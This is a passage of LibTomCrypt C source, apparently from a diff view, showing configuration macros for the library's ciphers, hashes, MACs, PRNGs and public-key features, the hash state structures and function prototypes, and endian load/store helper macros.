#define LTC_LRW_TABLES
#endif
/* XTS mode */
#define LTC_XTS_MODE
#endif /* LTC_NO_MODES */
/* ---> One-Way Hash Functions <--- */
#ifndef LTC_NO_HASHES
#define LTC_CHC_HASH
#define LTC_WHIRLPOOL
#define LTC_SHA3
#define LTC_SHA512
#define LTC_SHA512_256
#define LTC_SHA512_224
#define LTC_SHA384
#define LTC_SHA256
#define LTC_SHA224
#define LTC_TIGER
#define LTC_SHA1
#define LTC_MD5
#define LTC_MD4
#define LTC_MD2
#define LTC_RIPEMD128
#define LTC_RIPEMD160
#define LTC_RIPEMD256
#define LTC_RIPEMD320
#define LTC_BLAKE2S
#define LTC_BLAKE2B
#define LTC_HASH_HELPERS
#endif /* LTC_NO_HASHES */
/* ---> MAC functions <--- */
#ifndef LTC_NO_MACS
#define LTC_HMAC
#define LTC_OMAC
#define LTC_PMAC
#define LTC_XCBC
#define LTC_F9_MODE
#define LTC_PELICAN
#define LTC_POLY1305
#define LTC_BLAKE2SMAC
#define LTC_BLAKE2BMAC
/* ---> Encrypt + Authenticate Modes <--- */
#define LTC_EAX_MODE
#define LTC_OCB_MODE
#define LTC_OCB3_MODE
#define LTC_CCM_MODE
#define LTC_GCM_MODE
#define LTC_CHACHA20POLY1305_MODE
/* Use 64KiB tables */
#ifndef LTC_NO_TABLES
#define LTC_GCM_TABLES
#endif
/* USE SSE2? requires GCC works on x86_32 and x86_64*/
#ifdef LTC_GCM_TABLES
/* #define LTC_GCM_TABLES_SSE2 */
#endif
#endif /* LTC_NO_MACS */
/* --> Pseudo Random Number Generators <--- */
#ifndef LTC_NO_PRNGS
/* Yarrow */
#define LTC_YARROW
/* a PRNG that simply reads from an available system source */
#define LTC_SPRNG
/* The RC4 stream cipher based PRNG */
#define LTC_RC4
/* The ChaCha20 stream cipher based PRNG */
#define LTC_CHACHA20_PRNG
/* Fortuna PRNG */
#define LTC_FORTUNA
/* Greg's SOBER128 stream cipher based PRNG */
#define LTC_SOBER128
/* the *nix style /dev/random device */
#define LTC_DEVRANDOM
/* try /dev/urandom before trying /dev/random
* are you sure you want to disable this? http://www.2uo.de/myths-about-urandom/ */
#define LTC_TRY_URANDOM_FIRST
/* rng_get_bytes() */
#define LTC_RNG_GET_BYTES
/* rng_make_prng() */
#define LTC_RNG_MAKE_PRNG
/* enable the ltc_rng hook to integrate e.g. embedded hardware RNG's easily */
/* #define LTC_PRNG_ENABLE_LTC_RNG */
#endif /* LTC_NO_PRNGS */
#ifdef LTC_YARROW
/* which descriptor of AES to use? */
/* 0 = rijndael_enc 1 = aes_enc, 2 = rijndael [full], 3 = aes [full] */
#ifdef ENCRYPT_ONLY
#define LTC_YARROW_AES 0
#else
#define LTC_YARROW_AES 2
#endif
#endif
#ifdef LTC_FORTUNA
#ifndef LTC_FORTUNA_WD
/* reseed every N calls to the read function */
#define LTC_FORTUNA_WD 10
#endif
#ifndef LTC_FORTUNA_POOLS
/* number of pools (4..32) can save a bit of ram by lowering the count */
#define LTC_FORTUNA_POOLS 32
#endif
#endif /* LTC_FORTUNA */
/* ---> Public Key Crypto <--- */
#ifndef LTC_NO_PK
/* Include RSA support */
#define LTC_MRSA
/* Include Diffie-Hellman support */
/* is_prime fails for GMP */
#define LTC_MDH
/* Supported Key Sizes */
#define LTC_DH768
#define LTC_DH1024
#define LTC_DH1536
#define LTC_DH2048
#ifndef TFM_DESC
/* tfm has a problem in fp_isprime for larger key sizes */
#define LTC_DH3072
#define LTC_DH4096
#define LTC_DH6144
#define LTC_DH8192
#endif
/* Include Katja (a Rabin variant like RSA) */
/* #define LTC_MKAT */
/* Digital Signature Algorithm */
#define LTC_MDSA
/* ECC */
#define LTC_MECC
/* use Shamir's trick for point mul (speeds up signature verification) */
#define LTC_ECC_SHAMIR
#if defined(TFM_DESC) && defined(LTC_MECC)
#define LTC_MECC_ACCEL
#endif
/* do we want fixed point ECC */
/* #define LTC_MECC_FP */
#endif /* LTC_NO_PK */
#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_BLINDING)
/* Enable RSA blinding when doing private key operations by default */
#define LTC_RSA_BLINDING
#endif /* LTC_NO_RSA_BLINDING */
#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_CRT_HARDENING)
/* Enable RSA CRT hardening when doing private key operations by default */
#define LTC_RSA_CRT_HARDENING
#endif /* LTC_NO_RSA_CRT_HARDENING */
#if defined(LTC_MECC) && !defined(LTC_NO_ECC_TIMING_RESISTANT)
/* Enable ECC timing resistant version by default */
#define LTC_ECC_TIMING_RESISTANT
#endif
/* PKCS #1 (RSA) and #5 (Password Handling) stuff */
#ifndef LTC_NO_PKCS
#define LTC_PKCS_1
#define LTC_PKCS_5
/* Include ASN.1 DER (required by DSA/RSA) */
#define LTC_DER
#endif /* LTC_NO_PKCS */
/* misc stuff */
#ifndef LTC_NO_MISC
/* Various tidbits of modern neatoness */
#define LTC_BASE64
/* ... and it's URL safe version */
#define LTC_BASE64_URL
/* Base32 encoding/decoding */
#define LTC_BASE32
/* Keep LTC_NO_HKDF for compatibility reasons
* superseeded by LTC_NO_MISC*/
#ifndef LTC_NO_HKDF
/* HKDF Key Derivation/Expansion stuff */
#define LTC_HKDF
#endif /* LTC_NO_HKDF */
#define LTC_ADLER32
#define LTC_CRC32
#endif /* LTC_NO_MISC */
/* cleanup */
#ifdef LTC_MECC
/* Supported ECC Key Sizes */
#ifndef LTC_NO_CURVES
#define LTC_ECC112
#define LTC_ECC128
#define LTC_ECC160
#define LTC_ECC192
#define LTC_ECC224
#define LTC_ECC256
#define LTC_ECC384
#define LTC_ECC521
#endif
#endif
#if defined(LTC_MECC) || defined(LTC_MRSA) || defined(LTC_MDSA) || defined(LTC_MKAT)
/* Include the MPI functionality? (required by the PK algorithms) */
#define LTC_MPI
#ifndef LTC_PK_MAX_RETRIES
/* iterations limit for retry-loops */
#define LTC_PK_MAX_RETRIES 20
#endif
#endif
#ifdef LTC_MRSA
#define LTC_PKCS_1
#endif
#if defined(LTC_PELICAN) && !defined(LTC_RIJNDAEL)
#error Pelican-MAC requires LTC_RIJNDAEL
#endif
#if defined(LTC_EAX_MODE) && !(defined(LTC_CTR_MODE) && defined(LTC_OMAC))
#error LTC_EAX_MODE requires CTR and LTC_OMAC mode
#endif
#if defined(LTC_YARROW) && !defined(LTC_CTR_MODE)
#error LTC_YARROW requires LTC_CTR_MODE chaining mode to be defined!
#endif
#if defined(LTC_DER) && !defined(LTC_MPI)
#error ASN.1 DER requires MPI functionality
#endif
#if (defined(LTC_MDSA) || defined(LTC_MRSA) || defined(LTC_MECC) || defined(LTC_MKAT)) && !defined(LTC_DER)
#error PK requires ASN.1 DER functionality, make sure LTC_DER is enabled
#endif
#if defined(LTC_CHACHA20POLY1305_MODE) && (!defined(LTC_CHACHA) || !defined(LTC_POLY1305))
#error LTC_CHACHA20POLY1305_MODE requires LTC_CHACHA + LTC_POLY1305
#endif
#if defined(LTC_CHACHA20_PRNG) && !defined(LTC_CHACHA)
#error LTC_CHACHA20_PRNG requires LTC_CHACHA
#endif
#if defined(LTC_RC4) && !defined(LTC_RC4_STREAM)
#error LTC_RC4 requires LTC_RC4_STREAM
#endif
#if defined(LTC_SOBER128) && !defined(LTC_SOBER128_STREAM)
#error LTC_SOBER128 requires LTC_SOBER128_STREAM
#endif
#if defined(LTC_BLAKE2SMAC) && !defined(LTC_BLAKE2S)
#error LTC_BLAKE2SMAC requires LTC_BLAKE2S
#endif
#if defined(LTC_BLAKE2BMAC) && !defined(LTC_BLAKE2B)
#error LTC_BLAKE2BMAC requires LTC_BLAKE2B
#endif
#if defined(LTC_SPRNG) && !defined(LTC_RNG_GET_BYTES)
#error LTC_SPRNG requires LTC_RNG_GET_BYTES
#endif
#if defined(LTC_NO_MATH) && (defined(LTM_DESC) || defined(TFM_DESC) || defined(GMP_DESC))
#error LTC_NO_MATH defined, but also a math descriptor
#endif
/* THREAD management */
#ifdef LTC_PTHREAD
#include <pthread.h>
#define LTC_MUTEX_GLOBAL(x) pthread_mutex_t x = PTHREAD_MUTEX_INITIALIZER;
#define LTC_MUTEX_PROTO(x) extern pthread_mutex_t x;
#define LTC_MUTEX_TYPE(x) pthread_mutex_t x;
#define LTC_MUTEX_INIT(x) LTC_ARGCHK(pthread_mutex_init(x, NULL) == 0);
#define LTC_MUTEX_LOCK(x) LTC_ARGCHK(pthread_mutex_lock(x) == 0);
#define LTC_MUTEX_UNLOCK(x) LTC_ARGCHK(pthread_mutex_unlock(x) == 0);
#define LTC_MUTEX_DESTROY(x) LTC_ARGCHK(pthread_mutex_destroy(x) == 0);
#else
/* default no functions */
#define LTC_MUTEX_GLOBAL(x)
#define LTC_MUTEX_PROTO(x)
#define LTC_MUTEX_TYPE(x)
#define LTC_MUTEX_INIT(x)
#define LTC_MUTEX_LOCK(x)
#define LTC_MUTEX_UNLOCK(x)
#define LTC_MUTEX_DESTROY(x)
#endif
/* Debuggers */
/* define this if you use Valgrind, note: it CHANGES the way SOBER-128 and RC4 work (see the code) */
/* #define LTC_VALGRIND */
#endif
#ifndef LTC_NO_FILE
/* buffer size for reading from a file via fread(..) */
#ifndef LTC_FILE_READ_BUFSIZE
#define LTC_FILE_READ_BUFSIZE 8192
#endif
#endif
/* ref: $Format:%D$ */
/* git commit: $Format:%H$ */
/* commit time: $Format:%ai$ */

View File

@ -0,0 +1,531 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* ---- HASH FUNCTIONS ---- */
#ifdef LTC_SHA3
struct sha3_state {
ulong64 saved; /* the portion of the input message that we didn't consume yet */
ulong64 s[25];
unsigned char sb[25 * 8]; /* used for storing `ulong64 s[25]` as little-endian bytes */
unsigned short byte_index; /* 0..7--the next byte after the set one (starts from 0; 0--none are buffered) */
unsigned short word_index; /* 0..24--the next word to integrate input (starts from 0) */
unsigned short capacity_words; /* the double size of the hash output in words (e.g. 16 for Keccak 512) */
unsigned short xof_flag;
};
#endif
#ifdef LTC_SHA512
struct sha512_state {
ulong64 length, state[8];
unsigned long curlen;
unsigned char buf[128];
};
#endif
#ifdef LTC_SHA256
struct sha256_state {
ulong64 length;
ulong32 state[8], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_SHA1
struct sha1_state {
ulong64 length;
ulong32 state[5], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_MD5
struct md5_state {
ulong64 length;
ulong32 state[4], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_MD4
struct md4_state {
ulong64 length;
ulong32 state[4], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_TIGER
struct tiger_state {
ulong64 state[3], length;
unsigned long curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_MD2
struct md2_state {
unsigned char chksum[16], X[48], buf[16];
unsigned long curlen;
};
#endif
#ifdef LTC_RIPEMD128
struct rmd128_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[4];
};
#endif
#ifdef LTC_RIPEMD160
struct rmd160_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[5];
};
#endif
#ifdef LTC_RIPEMD256
struct rmd256_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[8];
};
#endif
#ifdef LTC_RIPEMD320
struct rmd320_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[10];
};
#endif
#ifdef LTC_WHIRLPOOL
struct whirlpool_state {
ulong64 length, state[8];
unsigned char buf[64];
ulong32 curlen;
};
#endif
#ifdef LTC_CHC_HASH
struct chc_state {
ulong64 length;
unsigned char state[MAXBLOCKSIZE], buf[MAXBLOCKSIZE];
ulong32 curlen;
};
#endif
#ifdef LTC_BLAKE2S
struct blake2s_state {
ulong32 h[8];
ulong32 t[2];
ulong32 f[2];
unsigned char buf[64];
unsigned long curlen;
unsigned long outlen;
unsigned char last_node;
};
#endif
#ifdef LTC_BLAKE2B
struct blake2b_state {
ulong64 h[8];
ulong64 t[2];
ulong64 f[2];
unsigned char buf[128];
unsigned long curlen;
unsigned long outlen;
unsigned char last_node;
};
#endif
typedef union Hash_state {
char dummy[1];
#ifdef LTC_CHC_HASH
struct chc_state chc;
#endif
#ifdef LTC_WHIRLPOOL
struct whirlpool_state whirlpool;
#endif
#ifdef LTC_SHA3
struct sha3_state sha3;
#endif
#ifdef LTC_SHA512
struct sha512_state sha512;
#endif
#ifdef LTC_SHA256
struct sha256_state sha256;
#endif
#ifdef LTC_SHA1
struct sha1_state sha1;
#endif
#ifdef LTC_MD5
struct md5_state md5;
#endif
#ifdef LTC_MD4
struct md4_state md4;
#endif
#ifdef LTC_MD2
struct md2_state md2;
#endif
#ifdef LTC_TIGER
struct tiger_state tiger;
#endif
#ifdef LTC_RIPEMD128
struct rmd128_state rmd128;
#endif
#ifdef LTC_RIPEMD160
struct rmd160_state rmd160;
#endif
#ifdef LTC_RIPEMD256
struct rmd256_state rmd256;
#endif
#ifdef LTC_RIPEMD320
struct rmd320_state rmd320;
#endif
#ifdef LTC_BLAKE2S
struct blake2s_state blake2s;
#endif
#ifdef LTC_BLAKE2B
struct blake2b_state blake2b;
#endif
void *data;
} hash_state;
/** hash descriptor */
extern struct ltc_hash_descriptor {
/** name of hash */
const char *name;
/** internal ID */
unsigned char ID;
/** Size of digest in octets */
unsigned long hashsize;
/** Input block size in octets */
unsigned long blocksize;
/** ASN.1 OID */
unsigned long OID[16];
/** Length of DER encoding */
unsigned long OIDlen;
/** Init a hash state
@param hash The hash to initialize
@return CRYPT_OK if successful
*/
int (*init)(hash_state *hash);
/** Process a block of data
@param hash The hash state
@param in The data to hash
@param inlen The length of the data (octets)
@return CRYPT_OK if successful
*/
int (*process)(hash_state *hash, const unsigned char *in, unsigned long inlen);
/** Produce the digest and store it
@param hash The hash state
@param out [out] The destination of the digest
@return CRYPT_OK if successful
*/
int (*done)(hash_state *hash, unsigned char *out);
/** Self-test
@return CRYPT_OK if successful, CRYPT_NOP if self-tests have been disabled
*/
int (*test)(void);
/* accelerated hmac callback: if you need to-do multiple packets just use the generic hmac_memory and provide a hash callback */
int (*hmac_block)(const unsigned char *key, unsigned long keylen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
} hash_descriptor[];
#ifdef LTC_CHC_HASH
int chc_register(int cipher);
int chc_init(hash_state * md);
int chc_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int chc_done(hash_state * md, unsigned char *hash);
int chc_test(void);
extern const struct ltc_hash_descriptor chc_desc;
#endif
#ifdef LTC_WHIRLPOOL
int whirlpool_init(hash_state * md);
int whirlpool_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int whirlpool_done(hash_state * md, unsigned char *hash);
int whirlpool_test(void);
extern const struct ltc_hash_descriptor whirlpool_desc;
#endif
#ifdef LTC_SHA3
int sha3_512_init(hash_state * md);
int sha3_512_test(void);
extern const struct ltc_hash_descriptor sha3_512_desc;
int sha3_384_init(hash_state * md);
int sha3_384_test(void);
extern const struct ltc_hash_descriptor sha3_384_desc;
int sha3_256_init(hash_state * md);
int sha3_256_test(void);
extern const struct ltc_hash_descriptor sha3_256_desc;
int sha3_224_init(hash_state * md);
int sha3_224_test(void);
extern const struct ltc_hash_descriptor sha3_224_desc;
/* process + done are the same for all variants */
int sha3_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha3_done(hash_state *md, unsigned char *hash);
/* SHAKE128 + SHAKE256 */
int sha3_shake_init(hash_state *md, int num);
#define sha3_shake_process(a,b,c) sha3_process(a,b,c)
int sha3_shake_done(hash_state *md, unsigned char *out, unsigned long outlen);
int sha3_shake_test(void);
int sha3_shake_memory(int num, const unsigned char *in, unsigned long inlen, unsigned char *out, unsigned long *outlen);
#endif
#ifdef LTC_SHA512
int sha512_init(hash_state * md);
int sha512_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha512_done(hash_state * md, unsigned char *hash);
int sha512_test(void);
extern const struct ltc_hash_descriptor sha512_desc;
#endif
#ifdef LTC_SHA384
#ifndef LTC_SHA512
#error LTC_SHA512 is required for LTC_SHA384
#endif
int sha384_init(hash_state * md);
#define sha384_process sha512_process
int sha384_done(hash_state * md, unsigned char *hash);
int sha384_test(void);
extern const struct ltc_hash_descriptor sha384_desc;
#endif
#ifdef LTC_SHA512_256
#ifndef LTC_SHA512
#error LTC_SHA512 is required for LTC_SHA512_256
#endif
int sha512_256_init(hash_state * md);
#define sha512_256_process sha512_process
int sha512_256_done(hash_state * md, unsigned char *hash);
int sha512_256_test(void);
extern const struct ltc_hash_descriptor sha512_256_desc;
#endif
#ifdef LTC_SHA512_224
#ifndef LTC_SHA512
#error LTC_SHA512 is required for LTC_SHA512_224
#endif
int sha512_224_init(hash_state * md);
#define sha512_224_process sha512_process
int sha512_224_done(hash_state * md, unsigned char *hash);
int sha512_224_test(void);
extern const struct ltc_hash_descriptor sha512_224_desc;
#endif
#ifdef LTC_SHA256
int sha256_init(hash_state * md);
int sha256_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha256_done(hash_state * md, unsigned char *hash);
int sha256_test(void);
extern const struct ltc_hash_descriptor sha256_desc;
#ifdef LTC_SHA224
#ifndef LTC_SHA256
#error LTC_SHA256 is required for LTC_SHA224
#endif
int sha224_init(hash_state * md);
#define sha224_process sha256_process
int sha224_done(hash_state * md, unsigned char *hash);
int sha224_test(void);
extern const struct ltc_hash_descriptor sha224_desc;
#endif
#endif
#ifdef LTC_SHA1
int sha1_init(hash_state * md);
int sha1_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha1_done(hash_state * md, unsigned char *hash);
int sha1_test(void);
extern const struct ltc_hash_descriptor sha1_desc;
#endif
#ifdef LTC_BLAKE2S
extern const struct ltc_hash_descriptor blake2s_256_desc;
int blake2s_256_init(hash_state * md);
int blake2s_256_test(void);
extern const struct ltc_hash_descriptor blake2s_224_desc;
int blake2s_224_init(hash_state * md);
int blake2s_224_test(void);
extern const struct ltc_hash_descriptor blake2s_160_desc;
int blake2s_160_init(hash_state * md);
int blake2s_160_test(void);
extern const struct ltc_hash_descriptor blake2s_128_desc;
int blake2s_128_init(hash_state * md);
int blake2s_128_test(void);
int blake2s_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen);
int blake2s_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int blake2s_done(hash_state * md, unsigned char *hash);
#endif
#ifdef LTC_BLAKE2B
extern const struct ltc_hash_descriptor blake2b_512_desc;
int blake2b_512_init(hash_state * md);
int blake2b_512_test(void);
extern const struct ltc_hash_descriptor blake2b_384_desc;
int blake2b_384_init(hash_state * md);
int blake2b_384_test(void);
extern const struct ltc_hash_descriptor blake2b_256_desc;
int blake2b_256_init(hash_state * md);
int blake2b_256_test(void);
extern const struct ltc_hash_descriptor blake2b_160_desc;
int blake2b_160_init(hash_state * md);
int blake2b_160_test(void);
int blake2b_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen);
int blake2b_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int blake2b_done(hash_state * md, unsigned char *hash);
#endif
#ifdef LTC_MD5
int md5_init(hash_state * md);
int md5_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int md5_done(hash_state * md, unsigned char *hash);
int md5_test(void);
extern const struct ltc_hash_descriptor md5_desc;
#endif
#ifdef LTC_MD4
int md4_init(hash_state * md);
int md4_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int md4_done(hash_state * md, unsigned char *hash);
int md4_test(void);
extern const struct ltc_hash_descriptor md4_desc;
#endif
#ifdef LTC_MD2
int md2_init(hash_state * md);
int md2_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int md2_done(hash_state * md, unsigned char *hash);
int md2_test(void);
extern const struct ltc_hash_descriptor md2_desc;
#endif
#ifdef LTC_TIGER
int tiger_init(hash_state * md);
int tiger_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int tiger_done(hash_state * md, unsigned char *hash);
int tiger_test(void);
extern const struct ltc_hash_descriptor tiger_desc;
#endif
#ifdef LTC_RIPEMD128
int rmd128_init(hash_state * md);
int rmd128_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd128_done(hash_state * md, unsigned char *hash);
int rmd128_test(void);
extern const struct ltc_hash_descriptor rmd128_desc;
#endif
#ifdef LTC_RIPEMD160
int rmd160_init(hash_state * md);
int rmd160_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd160_done(hash_state * md, unsigned char *hash);
int rmd160_test(void);
extern const struct ltc_hash_descriptor rmd160_desc;
#endif
#ifdef LTC_RIPEMD256
int rmd256_init(hash_state * md);
int rmd256_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd256_done(hash_state * md, unsigned char *hash);
int rmd256_test(void);
extern const struct ltc_hash_descriptor rmd256_desc;
#endif
#ifdef LTC_RIPEMD320
int rmd320_init(hash_state * md);
int rmd320_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd320_done(hash_state * md, unsigned char *hash);
int rmd320_test(void);
extern const struct ltc_hash_descriptor rmd320_desc;
#endif
int find_hash(const char *name);
int find_hash_id(unsigned char ID);
int find_hash_oid(const unsigned long *ID, unsigned long IDlen);
int find_hash_any(const char *name, int digestlen);
int register_hash(const struct ltc_hash_descriptor *hash);
int unregister_hash(const struct ltc_hash_descriptor *hash);
int register_all_hashes(void);
int hash_is_valid(int idx);
LTC_MUTEX_PROTO(ltc_hash_mutex)
int hash_memory(int hash,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int hash_memory_multi(int hash, unsigned char *out, unsigned long *outlen,
const unsigned char *in, unsigned long inlen, ...);
#ifndef LTC_NO_FILE
int hash_filehandle(int hash, FILE *in, unsigned char *out, unsigned long *outlen);
int hash_file(int hash, const char *fname, unsigned char *out, unsigned long *outlen);
#endif
/* a simple macro for making hash "process" functions */
#define HASH_PROCESS(func_name, compress_name, state_var, block_size) \
int func_name (hash_state * md, const unsigned char *in, unsigned long inlen) \
{ \
unsigned long n; \
int err; \
LTC_ARGCHK(md != NULL); \
LTC_ARGCHK(in != NULL); \
if (md-> state_var .curlen > sizeof(md-> state_var .buf)) { \
return CRYPT_INVALID_ARG; \
} \
if ((md-> state_var .length + inlen) < md-> state_var .length) { \
return CRYPT_HASH_OVERFLOW; \
} \
while (inlen > 0) { \
if (md-> state_var .curlen == 0 && inlen >= block_size) { \
if ((err = compress_name (md, (unsigned char *)in)) != CRYPT_OK) { \
return err; \
} \
md-> state_var .length += block_size * 8; \
in += block_size; \
inlen -= block_size; \
} else { \
n = MIN(inlen, (block_size - md-> state_var .curlen)); \
XMEMCPY(md-> state_var .buf + md-> state_var.curlen, in, (size_t)n); \
md-> state_var .curlen += n; \
in += n; \
inlen -= n; \
if (md-> state_var .curlen == block_size) { \
if ((err = compress_name (md, md-> state_var .buf)) != CRYPT_OK) { \
return err; \
} \
md-> state_var .length += 8*block_size; \
md-> state_var .curlen = 0; \
} \
} \
} \
return CRYPT_OK; \
}
/* ref: $Format:%D$ */
/* git commit: $Format:%H$ */
/* commit time: $Format:%ai$ */

View File

@ -0,0 +1,446 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* ---- HELPER MACROS ---- */
#ifdef ENDIAN_NEUTRAL
#define STORE32L(x, y) \
do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD32L(x, y) \
do { x = ((ulong32)((y)[3] & 255)<<24) | \
((ulong32)((y)[2] & 255)<<16) | \
((ulong32)((y)[1] & 255)<<8) | \
((ulong32)((y)[0] & 255)); } while(0)
#define STORE64L(x, y) \
do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
(y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
(y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD64L(x, y) \
do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \
(((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \
(((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \
(((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
#define STORE32H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \
(y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0)
#define LOAD32H(x, y) \
do { x = ((ulong32)((y)[0] & 255)<<24) | \
((ulong32)((y)[1] & 255)<<16) | \
((ulong32)((y)[2] & 255)<<8) | \
((ulong32)((y)[3] & 255)); } while(0)
#define STORE64H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
(y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
(y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
(y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
#define LOAD64H(x, y) \
do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \
(((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \
(((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \
(((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0)
#elif defined(ENDIAN_LITTLE)
#ifdef LTC_HAVE_BSWAP_BUILTIN
#define STORE32H(x, y) \
do { ulong32 __t = __builtin_bswap32 ((x)); \
XMEMCPY ((y), &__t, 4); } while(0)
#define LOAD32H(x, y) \
do { XMEMCPY (&(x), (y), 4); \
(x) = __builtin_bswap32 ((x)); } while(0)
#elif !defined(LTC_NO_BSWAP) && (defined(INTEL_CC) || (defined(__GNUC__) && (defined(__DJGPP__) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__i386__) || defined(__x86_64__))))
#define STORE32H(x, y) \
asm __volatile__ ( \
"bswapl %0 \n\t" \
"movl %0,(%1)\n\t" \
"bswapl %0 \n\t" \
::"r"(x), "r"(y));
#define LOAD32H(x, y) \
asm __volatile__ ( \
"movl (%1),%0\n\t" \
"bswapl %0\n\t" \
:"=r"(x): "r"(y));
#else
#define STORE32H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \
(y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0)
#define LOAD32H(x, y) \
do { x = ((ulong32)((y)[0] & 255)<<24) | \
((ulong32)((y)[1] & 255)<<16) | \
((ulong32)((y)[2] & 255)<<8) | \
((ulong32)((y)[3] & 255)); } while(0)
#endif
#ifdef LTC_HAVE_BSWAP_BUILTIN
#define STORE64H(x, y) \
do { ulong64 __t = __builtin_bswap64 ((x)); \
XMEMCPY ((y), &__t, 8); } while(0)
#define LOAD64H(x, y) \
do { XMEMCPY (&(x), (y), 8); \
(x) = __builtin_bswap64 ((x)); } while(0)
/* x86_64 processor */
#elif !defined(LTC_NO_BSWAP) && (defined(__GNUC__) && defined(__x86_64__))
#define STORE64H(x, y) \
asm __volatile__ ( \
"bswapq %0 \n\t" \
"movq %0,(%1)\n\t" \
"bswapq %0 \n\t" \
::"r"(x), "r"(y): "memory");
#define LOAD64H(x, y) \
asm __volatile__ ( \
"movq (%1),%0\n\t" \
"bswapq %0\n\t" \
:"=r"(x): "r"(y): "memory");
#else
#define STORE64H(x, y) \
do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
(y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
(y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
(y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
#define LOAD64H(x, y) \
do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \
(((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \
(((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \
(((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0)
#endif
#ifdef ENDIAN_32BITWORD
#define STORE32L(x, y) \
do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
#define LOAD32L(x, y) \
do { XMEMCPY(&(x), y, 4); } while(0)
#define STORE64L(x, y) \
do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
(y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
(y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
(y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
#define LOAD64L(x, y) \
